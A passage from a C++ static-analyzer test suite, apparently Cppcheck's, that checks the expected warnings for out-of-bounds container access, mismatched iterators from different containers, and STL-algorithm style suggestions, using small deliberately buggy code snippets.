errout_str());\n\n checkNormal(\"std::vector range(int n);\\n\"\n \"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(1);\\n\"\n \" assert(range(v.size()).size() == v.size());\\n\"\n \" for(auto i:range(v.size()))\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = (int)v.size();\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = static_cast(v.size());\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"void f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const int n = v.size();\\n\"\n \" h(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" h(v[i]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(const std::vector &v) {\\n\"\n \" if(v.size() >=1 && v[0] == 4 && v[1] == 2){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:38]: warning: Either the condition 'v.size()>=1' is redundant or size of 'v' can be 1. Expression 'v[1]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:17]: note: condition 'v.size()>=1'\\n\"\n \"[test.cpp:2:38]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"int f(int x, int y) {\\n\"\n \" std::vector a = {0,1,2};\\n\"\n \" if(x<2)\\n\"\n \" y = a[x] + 1;\\n\"\n \" else\\n\"\n \" y = a[x];\\n\"\n \" return y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:14]: warning: Either the condition 'x<2' is redundant or 'x' can have the value greater or equal to 3. Expression 'a[x]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:9]: note: condition 'x<2'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n checkNormal(\"int f(std::vector v) {\\n\"\n \" if (v.size() > 3)\\n\"\n \" return v[v.size() - 3];\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v[v.size() - 1];\\n\"\n \" if (v.size() == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int n) {\\n\"\n \" std::vector v = {1, 2, 3, 4};\\n\"\n \" const int i = qMin(n, v.size());\\n\"\n \" if (i > 1)\\n\"\n \" v[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector& v, int i) {\\n\"\n \" if (i > -1) {\\n\"\n \" v.erase(v.begin() + i);\\n\"\n \" if (v.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void g(const char *, ...) { exit(1); }\\n\" // #10025\n \"void f(const char c[]) {\\n\"\n \" std::vector v = get();\\n\"\n \" if (v.empty())\\n\"\n \" g(\\\"\\\", c[0]);\\n\"\n \" return h(&v[0], v.size()); \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int i, std::vector v) {\\n\" // #9157\n \" if (i <= (int)v.size()) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \" if (i <= static_cast(v.size())) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: warning: Either the condition 'i<=(int)v.size()' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:11]: note: condition 'i<=(int)v.size()'\\n\"\n \"[test.cpp:3:14]: note: Access out of bounds\\n\"\n \"[test.cpp:6:14]: warning: Either the condition 'i<=static_cast(v.size())' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:11]: note: condition 'i<=static_cast(v.size())'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" d + c.length();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: error: Out of bounds access in expression 'd+c.length()' because 'buf' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" sort(d, d + c.length());\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector &v) {\\n\"\n \" return !v.empty() ? 42 : v.back();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:36]: warning: Either the condition 'v.empty()' is redundant or expression 'v.back()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:20]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:36]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"std::vector g() {\\n\" // #10779\n \" std::vector v(10);\\n\"\n \" for(int i = 0; i <= 10; ++i)\\n\"\n \" v[i] = 42;\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: error: Out of bounds access in 'v[i]', if 'v' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int s = 2;\\n\"\n \" std::vector v(s);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 2 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v({ 1, 2, 3 });\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v(c, sizeof(c) + c);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v{ c, c + sizeof(c) };\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / 4);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #6615\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / sizeof(int));\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"test.cpp:4:error:Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100\\n\",\n \"\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a = {};\\n\"\n \" a[10];\\n\"\n \" constexpr std::array b = {};\\n\"\n \" b[10];\\n\"\n \" const std::array c = {};\\n\"\n \" c[10];\\n\"\n \" static constexpr std::array d = {};\\n\"\n \" d[10];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'a[10]', if 'a' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:5:6]: error: Out of bounds access in 'b[10]', if 'b' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:7:6]: error: Out of bounds access in 'c[10]', if 'c' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:9:6]: error: Out of bounds access in 'd[10]', if 'd' size is 10 and '10' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_fixed {\\n\"\n \" std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_fixed x = test_fixed();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_constexpr {\\n\"\n \" static constexpr std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_constexpr x = test_constexpr();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" const std::vector& v;\\n\"\n \" A(const std::vector& x) : v(x)\\n\"\n \" {}\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" static const std::vector v;\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const std::vector A::v = {1, 2};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct a {\\n\"\n \" std::vector g() const;\\n\"\n \"};\\n\"\n \"int f(const a& b) {\\n\"\n \" auto c = b.g();\\n\"\n \" assert(not c.empty());\\n\"\n \" int d = c.front();\\n\"\n \" return d;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f() {\\n\"\n \" std::map m = { { 1, \\\"1\\\" } };\\n\"\n \" return m.at(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" virtual void init_v(std::vector *v) = 0;\\n\"\n \"};\\n\"\n \"A* create_a();\\n\"\n \"struct B {\\n\"\n \" B() : a(create_a()) {}\\n\"\n \" void init_v(std::vector *v) {\\n\"\n \" a->init_v(v);\\n\"\n \" }\\n\"\n \" A* a;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" B b;\\n\"\n \" std::vector v;\\n\"\n \" b.init_v(&v);\\n\"\n \" v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector* v) {\\n\"\n \" if (v->empty())\\n\"\n \" v->push_back(1);\\n\"\n \" auto x = v->back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"template \\n\"\n \"struct Foo {\\n\"\n \" std::array items = {0};\\n\"\n \" T maxCount = count;\\n\"\n \" explicit Foo(const T& maxValue = (std::numeric_limits::max)()) : maxCount(maxValue) {}\\n\"\n \" bool Set(const uint8_t idx) {\\n\"\n \" if (CheckBounds(idx) && items[idx] < maxCount) {\\n\"\n \" items[idx] += 1;\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" static bool CheckBounds(const uint8_t idx) { return idx < count; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo x;\\n\"\n \" if (x.Set(42U)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct S { void g(std::span& r) const; };\\n\" // #11828\n \"int f(const S& s) {\\n\"\n \" std::span t;\\n\"\n \" s.g(t);\\n\"\n \" return t[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"char h() {\\n\"\n \" std::string s;\\n\"\n \" std::string_view sv(s);\\n\"\n \" return s[2];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: error: Out of bounds access in expression 's[2]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\" // #12738\n \" std::vector v{ 0, 0.1 };\\n\"\n \" (void)v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void outOfBoundsSymbolic()\n {\n check(\"void foo(std::string textline, int col) {\\n\"\n \" if(col > textline.size())\\n\"\n \" return false;\\n\"\n \" int x = textline[col];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12] -> [test.cpp:4:21]: (warning) Either the condition 'col>textline.size()' is redundant or 'col' can have the value textline.size(). Expression 'textline[col]' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void outOfBoundsIndexExpression() {\n setMultiline();\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()+1] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()+1' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[1+s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index '1+s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[x*s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 'x*s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"bool f(std::string_view& sv) {\\n\" // #10031\n \" return sv[sv.size()] == '\\\\0';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: error: Out of bounds access of sv, index 'sv.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n }\n void outOfBoundsIterator() {\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Out of bounds access in expression 'it' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.begin() + 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 1 from the beginning [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 2;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 2 from the end [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(std::vector x) {\\n\"\n \" std::map m;\\n\"\n \" if (!m.empty()) {\\n\"\n \" g(m.begin()->second);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" std::vector::iterator it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" auto it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void iterator1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); it != l2.end(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:40]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); l2.end() != it; ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:52]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct C { std::list l1; void func(); };\\n\"\n \"void C::func() {\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = l1.begin(); it != l1.end(); ++it) { }\\n\"\n \" C c;\\n\"\n \" for (it = c.l1.begin(); it != c.l1.end(); ++it) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Same check with reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::const_reverse_iterator it = l1.rbegin(); it != l2.rend(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:54]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (it != l2.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (l2.end() != it)\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Same iterator is used with different containers 'l1' and 'l2'. [iterators1]\\n\"\n \"[test.cpp:6:5]: (error) Iterator 'it' referring to container 'l1' is used with container 'l2'. [mismatchingContainerIterator]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #5803\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, l1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // #7658\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" std::list::iterator end = l1.end();\\n\"\n \" l2.insert(it, end);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // only warn for insert when there are preciself 2 arguments.\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it,0,1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void iterator4() {\n check(\"void foo(std::vector &test)\\n\"\n \"{\\n\"\n \" std::set result;\\n\"\n \" for (std::vector::const_iterator cit = test.begin();\\n\"\n \" cit != test.end();\\n\"\n \" ++cit)\\n\"\n \" {\\n\"\n \" result.insert(cit->size());\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator5() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find(ints1.begin(), ints2.end(), 22);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:47]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator6() {\n // Ticket #1357\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints1.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints2.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterators of different containers are used together.\\n\", \"\", errout_str());\n }\n\n void iterator7() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints1.rbegin(), 5), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints2.rbegin(), 5), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator8() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints2.end(), ints1.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:84]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(foo.bar.begin(), foo.bar.end()-6, ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:90]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6839\n check(\"void f(const std::wstring& a, const std::wstring& b) {\\n\"\n \" const std::string tp1 = std::string(a.begin(), b.end());\\n\"\n \" const std::wstring tp2 = std::string(b.begin(), a.end());\\n\"\n \" const std::u16string tp3(a.begin(), b.end());\\n\"\n \" const std::u32string tp4(b.begin(), a.end());\\n\"\n \" const std::string fp1 = std::string(a.begin(), a.end());\\n\"\n \" const std::string tp2(a.begin(), a.end());\\n\"\n \"}\");\n ASSERT_EQUALS( // TODO \"[test.cpp:2]: (error) Iterators of different containers are used together.\\n\"\n // TODO \"[test.cpp:3]: (error) Iterators of different containers are used together.\\n\"\n \"[test.cpp:4:26]: (error) Iterators of different containers 'tp3' and 'a' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:26]: (error) Iterators of different containers 'tp4' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator9() {\n // Ticket #1600\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2481\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Execution path checking..\n check(\"void foo(std::vector &r, int c)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" if (c)\\n\"\n \" {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] (error) After insert(), the iterator 'aI' may be invalid.\", \"\", errout_str());\n }\n\n void iterator10() {\n // Ticket #1679\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set s1;\\n\"\n \" std::set s2;\\n\"\n \" for (std::set::iterator it = s1.begin(); it != s1.end(); ++it)\\n\"\n \" {\\n\"\n \" if (true) { }\\n\"\n \" if (it != s2.end()) continue;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:39]: (error) Iterators of different containers 's1' and 's2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator11() {\n // Ticket #3433\n check(\"int main() {\\n\"\n \" map myMap;\\n\"\n \" vector myVector;\\n\"\n \" for(vector::iterator x = myVector.begin(); x != myVector.end(); x++)\\n\"\n \" myMap.erase(*x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator12() {\n // Ticket #3201\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (it == map2.end()) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (error) Iterators of different containers 'map1' and 'map2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (map2.end() == it) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (error) Iterators of different containers 'map2' and 'map1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(std::string &s) {\\n\"\n \" int pos = 